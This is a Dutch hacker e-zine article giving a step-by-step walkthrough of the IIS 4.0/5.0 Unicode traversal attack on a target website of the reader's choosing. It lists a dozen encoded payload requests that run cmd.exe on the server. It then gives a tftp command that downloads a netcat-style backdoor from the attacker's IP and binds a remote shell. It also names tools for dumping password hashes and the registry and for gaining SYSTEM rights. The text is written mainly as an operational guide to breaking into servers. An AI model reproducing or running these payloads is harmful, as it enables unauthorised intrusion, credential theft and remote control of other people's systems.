|-|4Xo|2
Unicode IIS hacking
Hieronder een step-by-step omschrijving hoe de meest recentelijke Unicode-hack
toe te passen is. De omschrijving van deze hack is puur theoretisch en niet
gebasseerd op een waar gebeurd verhaal, enige vergelijking met een inbraak op
enig systeem is puur toevallig. De informatie in dit stuk is openlijk
verkrijgbaar op het internet dus de schrijver accepteerd geen enkele
verantwoording voor daden die lezers van dit stuk aanrichten maar is altijd in
voor een sappig verhaal of lofuitingen.
Deze kunnen dan ook worden gemailed naar jbdbiwdijkz@ictbeveiliging.nl
(jbdbiwdijkz = Jij bent de beste, ik wou dat ik jou kon zijn). Flames kunnen
worden gemailed naar ivmbdesmhgek@ictbeveiliging.nl (ivmbdesmhgek = Ik voel me
beter dan een scriptkiddie maar heb geen enkele kennis). Spellingsfouten zijn
volledig te verwijten aan de fouten in de programmatuur hehehehe.
Whoohoe… tot zover de huishoudelijke mededelingen. Nou nog een kleine dan, ik
vind dat er nóg een laag in de hiërarchische structuur van “Hackerland” mag
komen. Ik bedoel iemand die redelijke tot goede kennis heeft op het gebied van
automatisering maar niet zo diep kan gaan als de mensen die de exploits vinden
en daar scripts voor schrijven kun je toch geen “Kiddies” meer noemen, zelfs
niet als ze de scripts gebruiken die worden gepost op diverse sites?? Of wou je
deze mensen nog steeds classifiseren als vandalistische pubers?? Hmm nou, nou?
Bovendien denk ik dat er maar heel weinig mensen zijn die het zogenaamde niveau
“Scriptkiddie” ontstijgen. Reacties naar bovenstaande adressen svp.
Genoeg geluld,………
De hack die we gaan omschrijven is toepasbaar op de Internet Information
Server/Services van Microsoft, versie IIS4.0 en 5.0. Deze hack maakt gebruik van
fouten in de webserver-software. Voor deze fouten zijn patches beschikbaar, lees
er alles over in het Microsoft Security Bulletin ms00-078.
Stap 1,
Zoek een site, bedrijf, organisatie, vereniging, enz.. uit die een site heb op
het Internet. Controleer of deze site wordt gehost op een IIS 4.0 of 5.0
webserver. Voor de echte newbies, op de site van Securityspace
(www.securityspace.com) is een Webprobe waarin je een URL intoets en deze voor
je controleerdt of download Grinder op www.ictbeveiliging.nl/tools om hele
subnetten te scannen, voor de 1337, doe een telnet naar poort 80 en grab de
banner.
Stap 2,
Je heb nu een mogenlijk doelwit voor ogen, je handen beginnen te zweten en je
begint met geknepen ogen naar je beeldscherm te kijken. Nu wil je controleren of
de webserver van je doelwit nog niet gepatched is. Voor de newbie, vul in in je
browser:
http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
Voor de 1337, telnet naar 80 en :
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n
GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0\r\n\r\n
GET
/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe
\?/c\+dir HTTP/1.0\r\n\r\n
Als je nu een soortgelijk resultaat in je scherm krijgt als dat je het commando
dir in je command prompt zou geven heb je een webserver die niet! gepatched of
hardnedd is. Even voor de duidelijkheid, een standaard installatie van
Windows2000 server incl. IIS5.0 + Service Pack 1 en een installatie van Windows
NT incl IIS4.0 + Service Pack 6 is nog steeds Hackeble!! d.m.v. deze techniek.
Stap 3,
Je heb de mogenlijkheid iets te hacken, je hart begint te kloppen, je
adrenalinelevel stijgt naar ongekende hoogtes, what’s next? Eventjes afkoelen
vriend (of vriendin). Je bent nu best wel ver maar nu is het tijd om jezelf dit
goed in te prenten JE BENT STRAFBAAR, KEN JE RISICO! Ow kee… je bent er nog, we
gaan verder.
Je kunt nu verschillende dingen doen maar het meest logische zou zijn het
uploaden van verschillende tools naar je doelwit dus gaan wij dat ook doen.
Download een TFTP-server, TFTPD32 is beschikbaar op www.ictbeveiliging.nl/tools
en is gratis te gebruiken. Deze TFTP-server gaan we runnen en configureren in
Settings, Base directories dat deze naar een directory wijst van jouw keuze
bijv: c:\hacktools. In deze directorie zetten we de volgende tools:
Ncx99.exe Dit bindt een commandprompt aan poort 99.
Spcheck.exe Dit kijkt welke service packs en hotfixes op de machine zijn
geinstalleerd.
Pwdump.exe Dit dumpt de passwordhashes.
Sechole.exe Dit geeft je de rechten van het SYSTEM-account (werkt alleen
op NT4.0 + Service Pack 5 en lager).
Regdump.exe Dit dumpt de registry.
Indien je deze tools niet heb zijn ze te downloaden van
www.ictbeveiliging.nl/tools.
Om deze tools te uploaden toets je het volgende in in je browser (als 1 zin):
http://www.doelwit.com/scripts/..%c0%af../
winnt/system32/cmd.exe?/c+tftp
+-i+jouw.eigen.ip.adres+GET+ncx99.exe+c:\\inetpub\\scripts\\ncx99.exe (letop
dubbele backslash)
Je zal dan zien dat je TFTP-server een read request krijgt voor ncx99.exe en
deze dan gaat uploaden. Je kunt als hij klaar is controleren of ncx99.exe er
staat door de volgende URL in je browser in te toetsen:
http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\inetp
ub\scripts
Voor de 1337, wat doe je hier nog als je zo 1337 bent ?!?!!!!
Stap 4,
Je bent echt crimineel bezig nu! Ben jij sterker dan drank? Hacken maakt meer
gekken dan lief is. Ow kee.. nadat je ncx99.exe up heb geload wordt het nu tijd
om je remote shell te gaan krijgen. Voor de newbies, een remote shell is een
command prompt die op op jouw scherm zichtbaar is maar op het doelwit draait
(supersimpel uitgelegd) elk commando wat je in dat scherm typt wordt op je
doelwit uitgevoerd. Om het programma ncx99.exe op te starten toets je de
volgende URL in je browser:
http://www.doelwit.com/scripts/ncx99.exe
Zien we een patroon?? Als je nu telnet naar poort 99 zou je het volgende te zien
krijgen:
Voor de newbies, toets op start en typ in run/uitvoeren telnet www.doelwit.com
99 daarna enter.
MicrosoftWindows blah blah
Copyright blah blah
C:\Inetpub\scripts>
Je heb nu een remote shell, als je wat intypt zal je waarschijnlijk niet zien
omdat je local echo moet instellen op telnet. Klik op terminal, preferences en
vink Local echo aan.
Je heb nu een shell onder de rechten van IUSR_MACHINENAAM dus tenzij ze een
slechte rechtenstructuur hanteren kun je nu nog niet veel maar vanaf hier zijn
er genoeg mogenlijkheden om je rechten te escaleren. Dat zal ik later nog wel
eens aan de tekst toevoegen.
Voor mij een goede tijd om maar eens te stoppen met deze tekst. Last words, ik
heb deze tekst geschreven voor de E-zine Hacker4Hackers GOOD JOB GUYS!
(www.hackers4hackers.org). Hiermee bedoel ik niet dat ik de lezers van de E-zine
niet hoger inschat qua kennis ( 8-î.
Updates, aanpassingen, uitbreiding en vervolgdelen van deze tekst zal
beschikbaar komen op www.ictbeveiliging.nl/papers.
Yows twully,
h00FF